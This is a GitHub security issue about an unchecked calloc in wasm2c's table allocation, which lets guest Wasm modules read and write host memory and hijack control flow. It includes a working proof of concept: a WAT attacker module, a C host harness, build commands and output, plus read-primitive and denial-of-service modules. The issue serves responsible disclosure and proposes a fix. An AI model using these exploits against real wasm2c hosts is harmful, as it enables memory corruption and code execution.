Skip to content

wasm2c: unchecked calloc in table allocation breaks bounds-check invariant (guest read/write/control-flow hijack on host) #2854

Description

@sxvncry

Component: wasm2c runtime library (wasm2c/wasm-rt-impl-tableops.inc)

Severity: High

Status: reproducible on upstream main (commit e177dbe)

Poc: poc.sh

SUMMARY

The wasm2c runtime allocates a table with calloc and does not check the
result. When the allocation fails, table->data is NULL but table->size still
holds the requested element count. Every table bounds check in the generated
code is of the form idx < table->size, so the check passes and the code reads
or writes table->data[idx], i.e. NULL + idx * sizeof(element). A guest module
can therefore read and write host memory in the range NULL + 0 to NULL +
(2^31 - 1) * 32 bytes, and can place a real funcref (a pointer to a function
defined in the guest module) into an attacker-chosen host address. When the
host later calls through that address, guest code executes.

This is distinct from issue 2831 (tail-call uninitialised instance pointer in
src/c-writer.cc). 2831 is a code-generation bug; this one is a runtime-library
bug. Same trust boundary, different component, different mechanism.

ROOT CAUSE

File: wasm2c/wasm-rt-impl-tableops.inc, line 54

void wasm_rt_allocate_##WASM_RT_TABLE_TYPE##_table(
     wasm_rt_##WASM_RT_TABLE_TYPE##_table_t* table,
     wasm_rt_u32_t elements,
     wasm_rt_u32_t max_elements) {
   table->size = elements;
   table->max_size = max_elements;
   table->data = calloc(table->size, sizeof(WASM_RT_TABLE_ELEMENT_TYPE));
 }

There is no NULL check on table->data. The memory path was already hardened
against exactly this failure mode (see wasm-rt-mem-impl-helper.inc, which calls
abort() on allocation failure, changed in PR 2786), but the table path was
left behind.

The single macro covers all three reference-table types (funcref, externref,
exnref), so all three are affected.

TRIGGER

  1. Declare a table with a very large initial size, e.g.

    (table 2000000000 4000000000 funcref)
    

    2e9 funcref elements is 2e9 * 32 bytes = 64 GB of calloc. Under any memory
    limit (ulimit -v, cgroup, container, an embedded device, or a host that
    simply cannot commit 64 GB) the calloc returns NULL.

  2. The module writes a funcref through an elem segment (no guest code execution
    required, the write happens during instantiation), or through table.set.

Bounds check in generated code (from the DEFINE_TABLE_SET / DEFINE_TABLE_GET
macros emitted by wasm2c):

if (UNLIKELY(i >= table->size)) TRAP(OOB);
table->data[i] = val;

Because table->size is still 2000000000, the check passes and the write lands
at NULL + i * 32.

PROOF OF CONCEPT

Attacker module (t4.wat):

(module $t4
  (type $int (func (result i32)))
  (table $tbl 2000000000 4000000000 funcref)
  (func $nul (type $int) (i32.const 42))
  (elem (i32.const 8192) func $nul)
  (func (export "go") (result i32) (i32.const 1)))

Host harness (f2host.c). The host maps a victim object at 0x40000, which is
exactly NULL + 8192 * 32, i.e. the address the elem segment writes to. The
host then calls whatever function pointer the guest placed there.

```

#include <stdio.h>
#include <sys/mman.h>
#include "t4.h"
#include "wasm-rt-impl.h"

static w2c_t4 inst;

typedef struct { unsigned long magic; unsigned long fn; } victim_t;

int main(void) {
  wasm_rt_init();
  void* p = mmap((void*)0x40000, 0x1000, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  if (p == MAP_FAILED) { perror("mmap"); return 1; }
  victim_t* v = (victim_t*)0x40000;
  v->magic = 0xdead; v->fn = 0;

  printf("[host] before: magic=%lx fnptr=%lx\n", v->magic, v->fn);

  wasm2c_t4_instantiate(&inst);   /* elem segment writes funcref to 0x40000 */

  printf("[host] table data=%p size=%u\n", (void*)inst.w2c_T0.data, inst.w2c_T0.size);
  printf("[host] after: magic=%lx fnptr=%lx\n", v->magic, v->fn);

  typedef int (*hostcall_t)(void);
  if (v->fn && ((hostcall_t)v->fn)() == 42) {
    printf("[!!!] PASSED: guest placed $nul into host slot; host called it -> 42\n");
    return 0;
  }
  return 2;
}
Build and run:

    ```
wat2wasm t4.wat -o t4.wasm
    wasm2c t4.wasm -o t4.c -n t4
    gcc -O0 -c wasm2c/wasm-rt-impl.c -I wasm2c -o rt1.o
    gcc -O0 -c wasm2c/wasm-rt-exceptions-impl.c -I wasm2c -o rt2.o
    gcc -O0 -c wasm2c/wasm-rt-mem-impl.c -I wasm2c -o rt3.o
    ar rcs librt.a rt1.o rt2.o rt3.o
    gcc -O0 -g f2host.c t4.c librt.a -lpthread -lm -I wasm2c -o f2_hijack

    ulimit -v 2000000       # force the 64GB calloc to fail
    ./f2_hijack

Output (smoking gun):

```

[host] before: magic=dead fnptr=0
[host] table data=(nil) size=2000000000
[host] after: magic=55dab47c5120 fnptr=55dab47c3a9a
[!!!] PASSED: guest placed $nul into host slot; host called it -> 42


Interpretation:

    table->data is NULL, table->size is 2000000000. The elem segment writes the
    funcref for $nul into table->data[8192] == NULL + 8192*32 == 0x40000, which
    is the host victim object. The magic field is overwritten by the funcref
    func_type pointer (a .rodata address, leaking the ASLR base), and the fn
    field is overwritten by the function pointer to the guest function $nul.
    The host then calls that pointer and the guest function runs, returning 42.


READ PRIMITIVE

The same broken invariant gives a read primitive through table.get:

    ```
(module $rd
      (table $tbl 2000000000 4000000000 funcref)
      (func (export "probe") (param i32) (result i32)
        (ref.is_null (table.get $tbl (local.get 0)))))

With the host victim object mapped at 0x40000, probe(8192) reads 0x40000 and
returns 0 when the host has placed a non-null funcref there, and 1 after the
host clears it. A separate harness (rdhost.c) demonstrates this, confirming
the guest can distinguish host memory contents at an attacker-chosen offset.

DENIAL OF SERVICE

A module that only performs table.set with a large index (t.wat) crashes the
host process with a write to NULL + offset:

(module $t
   (table $tbl 2000000000 4000000000 funcref)
   (func $boom (export "boom") (param i32)
     (table.set $tbl (local.get 0) (ref.null func))))

calling boom(1000000) writes to NULL + 32000000 and terminates the process.
Even without the write/read/exec primitives above, this is a host DoS from an
untrusted guest module.

AFFECTED TYPES

All three reference-table types use the same macro template in
wasm-rt-impl-tableops.inc and are affected identically:

funcref    wasm_rt_allocate_funcref_table
externref  wasm_rt_allocate_externref_table
exnref     wasm_rt_allocate_exnref_table

PROPOSED FIX

Match the memory path: check the result and abort() (or otherwise fail
closed) so that size/data stay consistent and bounds checks cannot pass
against a NULL buffer.

table->data = calloc(table->size, sizeof(WASM_RT_TABLE_ELEMENT_TYPE));
 if (!table->data) {
   table->size = table->max_size = 0;
   fprintf(stderr, "runtime error: out of memory allocating table\n");
   abort();
 }

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions